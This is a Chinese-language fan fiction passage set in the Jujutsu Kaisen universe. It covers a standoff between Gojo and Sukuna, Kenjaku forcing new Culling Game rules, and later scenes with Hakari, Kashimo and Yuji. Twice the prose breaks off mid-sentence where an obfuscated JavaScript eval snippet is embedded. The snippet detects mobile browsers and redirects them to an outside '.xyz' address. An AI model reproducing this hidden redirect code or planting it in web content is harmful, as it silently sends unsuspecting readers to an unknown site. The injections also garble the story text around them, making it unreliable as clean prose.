“毕竟这可是你的临终遗言。”堪称恶魔般的声音在羂索耳边响起,咒力爆发的瞬间他下意识发动了刚刚恢复的术式来抵挡,可附加了“苍”之力的拳头比他更快,像是将一颗带着旋转力量的气球直接塞到了他的体内,五脏六腑都仿佛被搅动了一样令人难以忍受。 他们身下的鵺已经被咒力的余波摧毁,羂索向后倒飞出去,出乎意料的并没有就这么随意地死掉。宿傩替他挡下了一部分伤害,这才让羂索还能跪在那里呕吐,而不是直接变成一团从绞肉机里取出来的肉沫。 两人一触即分,宿傩在见到五条悟的瞬间又燃起了战斗的欲望,临时起意般说道:“还记得我说过什么吗?虽然变成了这个小子,但问题不大。” 在刚受肉时,宿傩曾说等他得到了虎杖悠仁的身体就第一个杀了五条悟。 “惠啊,”五条悟试着呼唤学生沉睡的灵魂,“津美纪还活着哦。” 宿傩哈哈大笑:“没用的,他现在可听不到你说话。不过你们怎么做到的?万那女人居然输了,肯定是大意了吧?毕竟上辈子就是这么死的,只能说不愧是她。” 尽管用着同一张脸,但宿傩的邪性让五条悟很难在那张满是咒纹的脸上找到属于伏黑惠的特征。 突然来了兴致的诅咒之王握了握拳,眯起眼睛说:“准备受死吧。” “从悠仁那里落荒而逃的可是你!居然还在这装腔作势,真是丢死人啦!!你这白痴!!”五条悟指着宿傩讥讽道。 “我们也上。”九十九由基抓住了凰轮·迦楼罗,在正准备上前的时候被夏油杰拦了下来。 她看向夏油杰,他摇了摇头:“就算真的要打,我们的目标也不应该和悟一致。” 五条悟一个人的时候才是最强的,哪怕是夏油杰也不得不承认这一点。他将目光定在了羂索身上,现在对方已经恢复了术式,但是被悟用附加了“苍”的拳头击中的感觉可不是用反转术式就能消除的,夏油杰对此深有体会。 这是个好机会,在五条悟牵制住宿傩的时候,彻底杀死羂索。 夏油杰身后的影子蠢蠢欲动,他准备召来能够“排除一切阻碍”的特级咒灵,那和能够“反转概念”的特级咒灵同样来自亚洲的、神明的诅咒。 就在这时,一个勉强能够追上现在的宿傩咒力总量的存在突兀地出现在了战场的边缘。 “谢谢你,忧忧。” 乙骨忧太抵达,成功完成任务的忧忧从容退场。 宿傩不爽地啧舌:“一个接一个的,还有谁要来?那个吃掉自己兄弟的小鬼呢?” 五条悟说:“想见他?回头看看那个头上像是老妈缝的手帕一样的家伙,他俩长得一模一样。” 猩红的副眼向后转动了一下,宿傩嗤笑道:“还真是恶趣味的家伙。” “等等,宿傩,”被五条悟和宿傩好一番讽刺的羂索勉强从刚才的攻击中缓了过来,“先履行和我的约定再战也不迟。” 里梅闻言怒道:“别来妨碍宿傩大人!” 他本来就对这个自始至终一直纠缠在他们身边的人感到厌烦,纵容其围观“浴”的准备也不过是对他提供场地和素材的答谢,如今他们已经仁至义尽,羂索为何还要继续纠缠?而且,他说的约定......? “哼。”刚刚燃起的战意的的确确因为羂索的一句话而消散了,五条悟看到宿傩的态度多少猜到了一些。宿傩和羂索走得这么近的确是他们从未料想过的事实,现在看来他们之间还存有某种“束缚”,真是麻烦死了。 宿傩瞥了一眼略显狼狈的羂索,开口道:“可以。” 面对五条悟这样可以成为余兴节目的存在,当然要好好准备一番再将他“吃掉”。 五条悟衡量了一下现状,不准备放过这个机会。难得羂索和宿傩都在自己眼前,北海道的天元暂时是安全的,一直在准备的东西也有阿依努咒术联盟继续,如果放他们离开又不知道会搞出什么措手不及的事。 而且,还有杰和忧太他们在。 他的六眼突然捕捉到羂索嘴角微不可查的笑意,羂索在他转头盯着自己的时候扩大了嘴角翘起的弧度:“惊喜就是突如其来的才有趣。” 焦灼的气氛被机械丸的声音打破,机械电流的声音让五条悟心中不好的预感成真了。 “礼尚往来,我也有惊喜要给你!”扫了一眼夏油杰他们的位置,五条悟直接简单粗暴地摆出了“虚式·芘”的起手式。 宿傩张开双手准备接招,羂索暗骂了一声“疯子”。 这时,一触即发的气氛突然被一道滑稽的声音打断。 “历尽千辛万苦,终于来到——新宿啦!!” 所有人的目光都不由自主地被从满地狼藉的地面上“钻出来”的男人吸引了。留着大猩猩一般可笑的鬓角、身上穿着只有半侧超人作战服的男人像是鼹鼠一样从洞中钻了出来,陶醉地深吸了一口气。 增援!? 被双方误认为是对方派来的增援的高羽史彦左右张望了一下,用拳头敲敲手掌:“啊~我明白了!难道你们是在玩谁先笑就输了的忍耐笑游戏吗?但是我已经看到了!那个有红色挑染头发的家伙眉毛已经开始跳舞了!” 羂索向身边的里梅看去,发现他的眉毛突然像海草一样扭动着跳起了舞。他没忍住噗嗤一下发出了偷笑的气音。 “呃!?混账!!”里梅揪着不听话的眉毛对高羽史彦怒目而视,周身的温度骤然下降。 首先这里不是新宿,其次这个人看起来不太像是羂索一派的诅咒师,然后这个需要给隐私部位打码的超级丑的作战服是什么鬼东西!?夏油杰简直不忍直视,高羽史彦独特的出场方式也让人百思不得其解,他是从哪里挖洞来到高专内部的啊? “赶快做点什么逗笑对方啊!”高羽史彦拍着大腿,手一甩指向夏油杰:“这都有现成的裁判,难道你们想让我来当裁判吗?那可是看起来就刚正不阿的僧侣,我这种人只会哈哈大笑的啊!” 夏油杰一低头,发现自己身上的衣服不知道为什么突然变成了和里梅差不多的袈裟和黑色内搭,虽然摸起来布料还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16329762|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺舒服,但为什么他的头发突然散下来了? “噗。”五条悟没忍住笑出了声。 有点意思的术式。羂索摸着下巴,伪六眼将高羽史彦的术式信息悉数纳入眼中。喜剧......吗?他抬眼看了一下宿傩,诅咒之王明显并没有被高羽史彦的术式影响,在这样滑稽的发展下也生不出什么战斗的乐趣,干脆利落地准备离开。 “不妨你们改日再战,”羂索提议道,“在今年的最后一天怎么样?” “那你们可要按时赴约啊,可别直接跑路了。”五条悟鄙夷地应了下来。 “呵,那是我要说的话,六眼。” 宿傩重新召唤出了鵺,利用数量庞大的脱兔隐匿视线,载着羂索和里梅大摇大摆地飞离了已经沦为一片废墟的东京咒高。 高羽史彦望着逐渐飞远的宿傩等人,还在说着自己的台词,但五条悟已经绕过他去到了夏油杰他们身边。 “诶~这衣服居然是真的啊!”他上手扯了下夏油杰身上的袈裟和僧衣,被夏油杰愤怒地拍开。 “那家伙是怎么......啊!”夏油杰突然想起日照给他发过的消息。他似乎在仙台遇到了一个能力很特别的家伙,无论是外表和那些自说自话的漫才表演都对上号了,这个人......夏油杰的视线轻轻扫了一眼,应该就是日照说的高羽史彦。 不过既然宿傩都不受影响,五条悟肯定也不会。那就是这家伙在真心实意地嘲笑他的这幅打扮! 终于再次登场的伏黑甚尔摁着断掉的肋骨:“就这么放他们走了?真没用啊你们。” “......”五条悟翻了个白眼:“彼此彼此。” “算了,之后再找你算账,”夏油杰没有脱掉那身僧衣,他更在意五条悟突然改变想法的原因,“悟,机械丸说什么?” 五条悟一想到这些就觉得有些头痛。在涩谷事变发生后,被羂索蚕食的咒术总监部名存实亡,发布的诸多命令,包括针对虎杖悠仁的死刑命令都是为了达成羂索的目的而下达的。 在进入涩谷的“帐”中之前,五条悟已经给正准备回国的日照发去消息,请他帮忙协助从总监部内撤出的自己人去到安全的地方,而日照也如他所愿完成了这件事。至于顺手杀掉的一些追击而来的家族术师,在接下来发生的灾难面前也无关轻重了。 夏油杰从狱门疆中解封后,和独自留在总监部的物部式里应外合,彻底肃清了这个魔窟。 至此,羂索留在总监部的所有棋子都已被拔除。 而新的联合总部就坐落在北海道,位于旭川的神居古潭现在已经成为了咒术界名副其实的最中心。 机械丸送来的坏消息是阿依努咒术联盟的领导者阿普祖父在刚刚被杀害了。 “动手的人叫佐藤,是个在咒术联盟工作超过十年的家伙,谁也没想到他居然也和羂索......不,应该是谁也没想到羂索居然还埋了这样一步棋。” 五条悟在夏油杰等人的面前褪去了最强的无所不能,为看不穿的人心和随时可能改变的立场而烦恼着。 夏油杰闻言也不再多说。算算时间,没准当初日照去北海道的时候还见过这个叫佐藤的人。 他揉揉额角,在心中叹气。少年时他曾说五条悟这么强,以后想做什么都可以。他还在弥山面前跨下海口,说他们会一起改变这个咒术界。但是人只有长大之后才能知道原来世界并没有自己想象中的那么大,到处都拥挤得举步维艰,哪怕拥有了五条悟一样的力量也不能随心所欲,他们照样被困在了世界的一隅。 “算了,有物部和灰原在,京都校的乐岩寺老爷子也过去了,暂时不会出太大的问题,”五条悟在乙骨忧太担忧的眼神中恢复了平常的模样,迅速做出了决断,“幸亏那些东西准备得差不多了,不过我还是亲自去盯着放心一些。” 羂索的下一步必然依旧针对天元,从他的行动来判断,他肯定已经知道天元就在北海道。只是尚不清楚他和宿傩之间有什么样的“束缚”,接下来只能走一步看一步。 按照他们之前的推断,杀死羂索也无法终止死灭洄游,但无论是羂索让“非术师与天元进行超重复同化”的计划,还是五条悟和夏油杰准备施行的计划,都必须在死灭洄游这个生存游戏彻底结束后才能开启。 乙骨忧太当然知道他们说的“那些东西”究竟指什么。尽管他自认为已经习惯了五条悟等人天马行空的想象力,但这一次仍旧为他们的奇思妙想感到震惊。更可怕的是他觉得那看似天方夜谭一样的想法居然有实施的可能性。 毕竟连把薨星宫整个打包搬走的事情都做得到,再突破常理的事听起来也就不那么难以接受了。 “也好,除了你就只有星海还能做到,但还要说服弥山......”夏油杰考虑地更多一些:“现在就是不知道他们将宿傩的手指收集到了什么程度。” 五条悟:“不如就当他们已经找全了剩下的那些,以羂索的小心思他不可能什么都没准备。” 尽管咒术界从十多年前就开始陆陆续续回收宿傩手指,但直到最近也才找到了六根,就这些还被真人它们抢走了。还有十根在涩谷的时候被喂给了虎杖悠仁,剩下的那几根估计都在那个白发术师的手上。 五条悟不怎么担心,和乙骨忧太交代起之后要做的事。 九十九由基自己的同伴们也陆陆续续从世界各地赶到,她问夏油杰:“你们之后准备怎么办?” 夏油杰垂下眼睛,思索了一下。阿普祖父去世,按照规矩会有新的“祖父”或“祖母”诞生,在新的领导者安顿下来之前,北海道新设立的联合总部需要进行一轮清洗,这些事情交给物部式他们去做就行。 现下需要达成的目标有三个,第一、也是最重要的一个就是终结死灭洄游,第二是解决羂索和宿傩,第三是完成他们的计划。 “也就是说,你们的确准备利用已经完成的同化演练做些什么吗,夏油?” “最重要的还是前两个目标,没有这些基础,再说什么都不过是纸上空谈。” 至于今年最后一天的那场战斗...... “再说吧,要做的事还多着呢,”五条悟说着,居然顺手从兜里掏出了手机对着夏油杰疯狂拍照,“好!我要把穿着袈裟的杰照下来发给大家看看!” 被闪光灯闪瞎了的夏油杰:“......能麻烦你成熟一点吗?” 拳头硬了。 63.套马 “诶?这样啊。”日照拎着手机走进仙台站西口外商场1层的胜山,它们家的炸猪排饭很有名,夏油杰曾经给他推荐过这家店。 仙台站虽然恰好就在结界之外,但因为太靠近边缘,所以途径此处的公共交通已经完全停摆。但附近商场、街道上的店铺零零散散依旧有一些还开着门,胜山炸猪排饭店就是其中之一。 鹿紫云一看起来已经完全适应了现代生活,终于舍得换一套他还算满意的卫衣和工装裤,但依旧没有放弃他的丸子头。他坐在靠内的一个座位上,向掀开门帘进来的日照招了招手。 “你干嘛去了?搞得这么灰头土脸的。” 日照挂断了电话,随口说道:“昨天晚上你睡死了?” 鹿紫云一斜眼看他:“那是你搞出来的?” 日照看起来的确有些狼狈。他的身上带着一股焦糊的味道,棒球服外套的下摆有一块被火熏得焦黑,裸露的皮肤上沾满了泥灰。不少还是在和万战斗时站上去的湿泥巴,又被辻光士的领域一烤,变成了干瘪的泥巴块贴在皮肤上。 他撩了一把头发,向后靠去:“毕竟是老熟人。你怎么还在仙台附近转悠啊?” 鹿紫云一随手摆弄着餐桌上用亚克力板固定的优惠广告单。死灭洄游进行到这个阶段,战斗发生的频率正在极速下降。更不要说有人新增了脱离死灭洄游的方法,为了脱离这个生存游戏而爆发的战斗很难再让双方以命相搏,毕竟赢了的那方只会让自己离脱离游戏的目标越来越远。对鹿紫云一来说,无法拼尽全力的胜利也只会让人味同嚼蜡。 那些鹿紫云一耳熟能详的名字大多都出现了,他去其他结界找过自己的老对手们,但没有一个人能让他找回曾经战斗的激情。 对此深感无聊的鹿紫云一想起了仙台结界见过的石流龙,于是准备回头再找石流龙试试水。 从他旁观日照和乙骨忧太与仙台泳者们战斗时石流龙表现出的样子来看,至少不是一个会敷衍战斗的人。 “哼,恭喜你,宿傩现在已经完全复活了哦。”服务员为他们送上了炸猪排饭。虽然客流量少了很多,不少分店都已经关门歇业,仙台站周围的这一家也即将面临同样的境况,可这里在制作胜山的口碑之作上没有任何敷衍的意思。 炸猪排的原料选自本地优质的黑毛猪,厚切猪排肉质多汁软嫩,配上关东特色浓口猪排酱,的确值得夏油杰在LINE上给他连发三条充满感叹号的饭后评价,他们发过来的合照也有几张看起来像是在这家店聚餐的样子。 日照偶尔能从合照中看到庵歌姬和物部式。 这家店的高丽菜丝和麻酱可以无限免费续。 “我就是感觉到了所以才会来找你。” 日照挑剔地说:“给自己留有后路还怎么称得上全力以赴啊?这可不像你会做的选择,鹿紫云爷爷。” 鹿紫云一没有在乎日照搞怪般的称呼,转而问起其他的事:“昨晚还有一个人从仙台附近经过……那就是你们现代的最强术师?” 被日照归为鹿紫云一同类,即明知自己的强大与众不同却还期盼着能有人主动追上来的类型。 “他啊,”日照难得温和地笑了一下,“他可比你幸运多了。” 鹿紫云一闻言只是轻蔑地“嘁”了一声,继续和现代美食搏斗。 他不得不承认,这个时代有很多新奇的玩意儿吸引着他,尤其是饭好吃的不得了,他还想去趟附近的中华街来着。 “所以,你们有什么计划吗?”鹿紫云一已经大概了解了如今的咒术界。不论哪个时代,宿傩都是能带来腥风血雨的恐怖诅咒,很难不让人怀疑就算他真的再次死去,会不会有因为“恐惧宿傩的存在”而诞生的诅咒? 如今的咒术师们追求隐秘与和平,尽管现在隐秘看起来是做不到了,不过他们无论如何都决不能允许一个活着的宿傩存在着。 “计划?这种事情得问五条悟,”日照听着炸猪排焦脆的面衣在牙齿间崩碎,“正好我要去总部,你要是有想法就亲自跟他们商量吧。” 鹿紫云一撑着下巴:“……” 来自四百年前的雷神观察着日照的态度。 “那里有趣的家伙多吗?” 日照思索了片刻:“应该吧?要知道很多术式已经和现代生活密不可分了,对你们这样的老古董来说应该还蛮新鲜的。” 五条悟似乎说过他带过一个术式是赌|博游戏的学生来着。 待在“窗”总部的秤金次打了个喷嚏。 星绮罗罗跑去找刚带着仍处在昏迷状态中的伏黑津美纪从仙台回归的虎杖悠仁,帮着他一起把人送到了家入硝子手上。 “……”家入硝子敞开扣子披着白大褂,眼下的青黑总让人觉得她睡眠严重不足。 “家入小姐?”她的沉默让虎杖悠仁不自觉地露出一副就快要被打碎的模样。 他没能救下伏黑惠,至少要把津美纪姐姐…… 星绮罗罗拍着他的肩膀:“安心啦小悠,五条老师都已经恢复了【无下限咒术】,交给他去解决就可以了!” 家入硝子摘掉口罩,替伏黑津美纪盖上被子:“肉眼可见的外伤我都已经治疗好了,至于灵魂上的损伤……虎杖,你应该比我感知得更清楚。” 来栖华和天使不在,家入硝子抽出一根烟卷叼在嘴里,没有点燃。 “虽然你们在彻底剥除万之前削弱了她们之间灵魂的同调,但毕竟损伤还在,究竟什么时候能醒我也不能断言。倒是可以让夏油的那个咒灵过来看看,我记得是叫真人?” “不!”虎杖悠仁下意识地拒绝了这个提议,尽管他在否决的下一秒就意识到这其实是个好主意,可本性恶劣的真人仍无法得到他的信任。就算真人已经是被夏油杰收服的咒灵,不可能违背对方的命令,但虎杖悠仁还是会在见到它的时候浑身恶寒。 家入硝子将医用手套扯下丢进医疗废弃物垃圾桶里,因为叼着根没点燃的香烟所以声音有点模糊:“问题不大,日照估计也快回来了,你让他帮忙看看也行。或者干脆直接等五条。” “不……老师也很忙的吧,”虎杖悠仁低下头,“哪……” 站在他身侧的星绮罗罗忽然“啊”地喊了一声,按在他肩膀上的手用力:“看看你,说谁谁到,今年一定要请你帮我去神社抽奖,你一定能抽出限定小物!” “呦!”五条悟挤了进来,伏黑津美纪还住在之前分配给她的宿舍,现在这间屋子里挤了不少人,星绮罗罗主动退了出去。 “老师!已经都没事了吗?”这还是虎杖悠仁从涩谷事变之后第一次见到五条悟。 五条悟嘻嘻哈哈地笑着说:“那当然啦,一段时间不见悠仁你也变得厉害了不少嘛!我来瞧瞧津美纪。” 在去北海道之前他特地绕路回了一趟总部。毕竟也算是他从小看到大的孩子,他还伪装成伏黑家两个小孩的各种亲戚替他们开过家长会来着。 六眼告诉他万已经被彻底从伏黑津美纪身体里驱逐出去了。 “只有一点残秽,和悠仁你的状态很像哦,”五条悟的话仿佛给虎杖悠仁喂下了一颗定心丸,他长出一口气,“待会儿弥山回来让他看一眼,毕竟灵魂之类的问题还是他更熟悉一些。” 五条悟揽着虎杖悠仁离开了伏黑津美纪的房间,把他带到走廊的公共休息区,现在这里没有人,只有自动贩卖机发出的微弱声响。 “悠仁,老师有一项重要任务要交给你!” “诶!?是什么?” 五条悟向他招了招手,虎杖悠仁把头凑了过去。 他们嘀嘀咕咕说了半天,粉发少年开始还边听边点头,最后连认真倾听的表情都无法维持,一副“老师你是认真的吗”的表情逐渐扭曲起来。 “总之,就拜托你啦,悠仁!”五条悟走的时候向他伸出大拇指,语气雀跃。 钉崎野蔷薇捅捅虎杖悠仁:“五条老师跟你说什么了?” 虎杖悠仁用手指蹭过脸颊,有些疑惑和为难地说:“他说让我劝弥山先生不要去死。” —— “天元在全国各地设置了多处净界,最重要的四个就是以皇居为中心的净界、高专地下的薨星宫净界、京都山国御陵净界,以及这个将整个地区分为东西两部的飞驒灵山净界,”羂索所在的空间幽深静谧,无数钟乳石一样垂悬着的结晶充斥着整个地下空洞,仔细听的话还能听见此起彼伏水滴落下的滴答声,“呵呵,为了抑制咒灵的出现,顺便大幅提升结界术的精度。” 他身边并没有与他同行的人,只有一只头顶同样带着缝合线样伤疤的小金沉默地跟在身旁。小金虽然能够对话,但它的所有智能都用来维持“与死灭洄游管理者沟通”的身份,自然对羂索的话做不出任何像样的反应。 顶多觉得他的自言自语无法理解吧。 “哈哈,毕竟活得越久朋友越少,偶尔我也喜欢多说一些。” 作为飞驒灵山净界中心的这处地下空间并不昏暗,似乎是那些形似岩石的结晶内发出了幽幽光芒,让擅自闯入者能够将这处空间一览无余。 走过一段长长的甬道,在靠近“尽头”的地方,身侧的岩壁上被开了一个向内凹陷的洞口,一个几乎被灰尘和土屑完全埋藏起来的东西被安置在了数条注连绳模样的封印之后。 羂索越过这片区域,伸手触碰了前方的死路。在手指触摸到洞窟的瞬间,他的周围出现了鳞片状剥落的结界碎片,和薨星宫那些空性结界破碎时的模样如出一辙。 在找到真正的“门”之后,羂索见到了驱使他来到此地的目标。 他踏过清澈的浅水,来到了静静坐在那里的“人”身前。 “天元,现在的你是何种模样呢?” 身着袈裟,宛如入定一般以莲花坐姿端坐于羂索眼前的“人”皮肤干枯却并未腐烂,异于常人的四眼四手说明了这具尸体的身份。 羂索哼笑着说:“任谁都想不到你居然将它藏在这种地方啊。” 两面宿傩死后而成的即身佛居然就在整个国家最重要的几个净界之一的中心。 “小金,增加规则,停止新泳者加入死灭洄游。” “否定!违背了《总则7》!!” 小金几乎没有丝毫犹豫就驳回了羂索的要求。 “再好好想想吧,”羂索明显有备而来,“这处净界的基底并非宿傩的这具即身佛,来的时候我们不是看到了吗?那个东西才是飞驒灵山净界真正的基底。” “……”小金能够品味出羂索口中的威胁之意。正如先前所说,它所有的智能都集中于死灭洄游之上,由此它的表现某种程度上可以让羂索确认一些事情。 千年术师露出稳操胜券的笑容:“【仳】的力量足够摧毁那个基底,我猜的没错吧?现在按照我的要求增加新规则,否则就让死灭洄游连同这个净界一起消失吧。” 死灭洄游建立在天元设立的诸多结界之上,相当于寄生在了上面。如果天元在死灭洄游开始后第一时间关掉了所有的结界,那么死灭洄游自然也就失败了。 但祂终究不敢去赌这个国家失去祂的结界究竟会发生什么事,所以将所有的赌注压在了咒术师们身上,并坚信他们能打败羂索,瓦解他的阴谋。 “这个国家的人总喜欢暗示自己现实是恒常不变的……不如说,他们期盼这样的事实。尽管他们的生命或生活可能危机重重,但不到万不得已不肯舒舒服服地向前迈步。直到被危机感逼迫着、生命受制于他人的时候,照理才会迈出那一步,殊死一搏。” 羂索无视了正在沉默着的小金,仰头,仿佛跨越了千里和自己的老朋友交谈着。这些话是他特意说给天元听的。 “想死的话随时都可以死,哪怕对未来和现实都不抱有期待,也应该先试着向前走。就算只有一步,也是向着自己的理想更近了一步。对于连这种现实感都没有体会到就着急寻死的家伙,我是非常厌恶的。” 因为他本身拥有着所谓的理想,所以他才能如此坚定不移地说出“至少要向着理想前进吧”这样的论断。 最可怕的是找不到可以为之向前的目标。 羂索口中的大多数人,就如同九十九由基所说的、可以给予他们危及生命的考验以此催生进化的非术师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338762|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们,虽然也会被名为“死亡”的高墙推着前进,但生活又何尝不是一道永远追逐在他们身后的排山倒海般的巨浪? 有几个人能够乘着冲浪板从海浪卷出的空洞中逃脱出来? 理想明明是那么金贵又稀少的东西,只是因为羂索已经被它填满了,所以才觉得无论持续了多久、又不知将继续延续多久的人生是充实且快乐的吧? 他的小金公布了和死灭洄游管理者沟通后的结果。一切规则都是为了维护死灭洄游的永续性而设立,但是在无法继续维持永续、不得不做出抉择的时候,会偏向于维持这个游戏更长时间持续的条件。 “有泳者新增了规则!!《总则13》,死灭洄游于此时间点,即2018年11月17日17时36分,停止新泳者参加!!” “新增《总则14》!!死灭洄游将在除日照星海、伏黑惠、冰见汐梨以外的所有泳者死亡后结束!!” 接连两条通报让“窗”总部的一楼大厅顿时人声鼎沸。 “……为什么会是你的名字?”日照迅速叫出小金翻看着泳者名单,果不其然找到了那个熟悉的名字。 “他又不是受肉|体,用躯体的名字参赛只能说他把自己的灵魂藏的很好,”显然另一个人不满意他的关注点,强行将话题拉了回来,“没有天元,他到底是怎么做到……?” 日照星海说到这里突然住了嘴。弥山没有提出疑问,也就是说他对这个结果并不感到意外。 “……你早就知道有这个可能?” 日照摇头,坦率地说:“完全没想到,但是猜到之后就想通了。” “哈?且不说有多少人早就跑出去了,就说那些留在结界里的家伙,他要一个一个杀过去吗?”坐在日照所在的圆形会议桌沙发旁的是秤金次。 日照解释道:“羂索肯定在那些咒物上做好了标记。也许是某种咒印,又或者是他自己的咒力。在死灭洄游这个中转时间,他可不会允许有超越他掌控的事情发生。” 尽管标榜“追求不诞生自我手的可能性”,但对于达成这个目标必须准备的前奏,羂索从未有过任何松懈。 如今终于反将一军,倒是负符合他沉寂千年不露声色的特点。这个人真的太能沉得住气。 日照又逐字逐句看了一遍羂索新增加的规则,然后将小金放了回去。他们现在持有的分数虽然很多,但基本上已经没了用武之地。找不到关键点,随意增加规则来试错也只是在浪费资源罢了。 “......” 秤金次对曾经的咒术界没有什么更多的看法。他的术式是坐镇总监部的那些老头子们最厌恶的、与现代社会结合太过紧密的类型。当然,秤金次本人也不是什么循规蹈矩的家伙,干过不少“出格”的事。 新的咒术联合总部在北海道,现在五条悟和夏油杰他们是咒术界绝对的最中心,但是没有设立类似总监部的机构和首座这样的职位。 除了今年最后一天的约战,大部分人和秤金次一样,都不知道五条悟他们还在做什么其他的事。 “小忧太他们肯定知道吧?阿金,要不然我去问问?”星绮罗罗在涂指甲,他浑身上下都戴满了亮晶晶的小首饰。 “算了吧。”秤金次知道自己现在正处于不那么有“激情”的分岔口。 原来的咒术界都是糟朽的保守派,秤金次从这里看不到他需要的激情,所以直接选择离开咒术界。死灭洄游刚开始的时候,他还以为自己能继续从地下拳赛里寻找“狂热”,但如今他主动离开的圈子却隐隐传回了他非常熟悉的感觉。 他将其视为由五条悟等强大之人散发出来的独特吸引力。他们的强大足以让原本对其不抱希望的人也体会到那种澎湃的狂热,那是能够直接击中人心的魅力与诱惑。 另一边看似一片坦途,但因为那条路上没有障碍物所以能够将结果也看得一览无余。 星绮罗罗靠着他,举起手放在阳光下看刚涂好的颜色:“我喜欢将人生也赌上的阿金哦。” 日照编辑完短信,把伏黑津美纪的情况给五条悟和伏黑甚尔发了过去。 “啊对了,你最近有空吗?” 秤金次抬起眼皮,星绮罗罗的话敲在了他的心上。 “闲得要命,”狂热的赌徒两手一摊,脸上的小胡子让他看上去比实际年龄要大得多,“但是我可不想再干些无聊的任务。” 日照摇摇手指,兴致盎然地说:“你知道鹿紫云一吗?去跟他打一场,我和你站一边。” “哈?”秤金次当然已经知道日照的术式,他大概能猜到【代理人】作用在自身术式上的效果。他的确钟爱“狂热”,赌博对他来说就是一种“狂热”的交锋,其中的激情正是来自于那谁也不能预料到的未来。 不敢在生活中相信自己赌运,毫无长进又不知进退的人没有办法体会到那种能让人的大脑失去判断力的热量,他们并非厌恶赌博,而是讨厌失败和破灭罢了。 秤金次的术式将从赌运中诞生的狂热和激情完美地体现了出来,但是加上【代理人】的话,那就和那一眼望得到尽头的未来没有什么区别了不是吗? 这是另一种出“老千”,甚至直接将最精华的部分剜去,留下最不重要的结果。 没错,过程的激情才是最重要的,秤金次永远都忠于这一点而活。 没有了听到规则时的疯狂解读,没有了等待老虎机停止转动时的自我折磨,没有了看到结果时心中感受到的惊涛骇浪,这样的战斗不能令他燃起一丝斗志。 一眼就能看得到头的东西,有什么好多说的? “......趁现在彼此多了解一下也是好事,”日照有些意味深长地说,似乎看穿了秤金次的兴致缺缺,“正好我也有想要了解的事。” 秤金次听出了言外之意:“什么意思?难道现在什么人都能说是咒术界的同伴了吗?他们真的打算接纳那些受肉的泳者?” 日照没有急着回答他的问题,很快就会有人代替他向秤金次说明这些。 “怎么样?” 秤金次选择了更加狂热的未来:“来啊!” 64.强运之人 “嗯哼,现在就是这样啦,”五条悟和天元面对面坐在空性结界虚构出来的木马玩具上,他童心未泯似的前后摇得开心,“看起来你对羂索已经没用了,他去薨星宫大概也抱着‘最后和老朋友见一面’的心态,结果失望而归,选择了另一条路。” 天元望着充满童趣的游乐园,下一秒他们出现在旋转木马上,并排坐进了宽大的南瓜马车,随着机械的运转上下起伏。 “老朋友......吗?也许我们曾经有过相伴而行的岁月,但现在这显然是讽刺之语,多说无益。” 天元的话换来了五条悟“嘿嘿”的笑声。 净界的“基底”究竟是什么,只要天元不说,它可以永远是一团任人想象的迷雾。但是羂索能够看穿祂施加在其上的障眼法,看透真实。如果是日照星海本人来,就算走到了基底旁边用【仳】把附近的地犁了一遍,也不可能做到“误打误撞”把基底分解掉。 “就按照你们的计划来吧。” 天元终于做出了决断。 “别说的这么为难嘛,对千年家里蹲来说这可是环游全国的好机会哦。”五条悟拍拍手,笑着用哄小孩的声线说道。 也许正如祂的“老朋友”所说......没能亲身在这千年于合纵连横的历史中沉浮,才让祂以此番面貌重新回到现实中来吧? “如果......” 天元刚一开口,立刻被五条悟打断了:“多说无益多说无益,比起像老妈一样瞎操心,还不如想想怎么和小孩子相处。” 一个小脑袋从门口探了出来,代替阿普祖父的孩子已经出现了。在天元登上那座御舆之前,祂需要先教导这一任的阿依努咒术领导者如何与大地沟通。 —— 虎杖悠仁看着矗立在训练场地中间的漆黑结界,脑海中回想起五条悟临走时和他说的话。 “......为什么说弥山先生会......?不,只是我觉得他看起来没有那个意思?”而且,星海先生不会同意的吧?他们花了那么多年、费尽千辛万苦才重新相聚,怎么可能轻易放弃有对方存在的世界呢? 虎杖悠仁从日照星海那里知道了连五条悟都不清楚细节的那段时间里发生的故事。他们......不,日照弥山的足迹几乎踏遍了全世界和咒术有关的地方,据说还碰到过九十九由基,但是似乎并不是什么愉快的经历。 “没有起冲突,只是她搞出来的动静太大,他掉进虫堆里去了。以后遇到他这样耍性子,不用搭理他。” 日照星海说得太过笃定,虎杖悠仁下意识地答应了。 “嗯......我举一个悠仁能听懂的例子吧,”五条悟解释道,“悠仁很喜欢的那个系列电影,是叫‘蚯蚓人’对吧?” “是的。” “是最——喜欢的吗?” 这个问题让虎杖悠仁犹豫了一小会儿:“怎么说呢?要问我喜不喜欢,我当然会说‘超喜欢的啦’。但似乎还没有到‘最喜欢’这种独一无二的程度......” “嗯哼,关键就在这里啦。” 五条悟从北海道出来之后就没再绑过眼罩或者绷带,偶尔会戴上墨镜,不过此刻他的那双眼睛完完整整地露了出来。连他的学生们都很少见到的苍天之瞳就这样大大咧咧地摆在了所有人眼前,即便如此敢与其对视的人也寥寥无几。 “对弥山来说,存在着可以不假思索就说出来的、‘最喜欢’的东西哦。” 几乎没有经过任何思考,虎杖悠仁当即就能说出那个“独一无二”的东西。 “比起分开,他似乎更不能接受对方死去。” “悠仁,”五条悟全心全意信任着这个充满着生命力的学生,“救救他吧?” 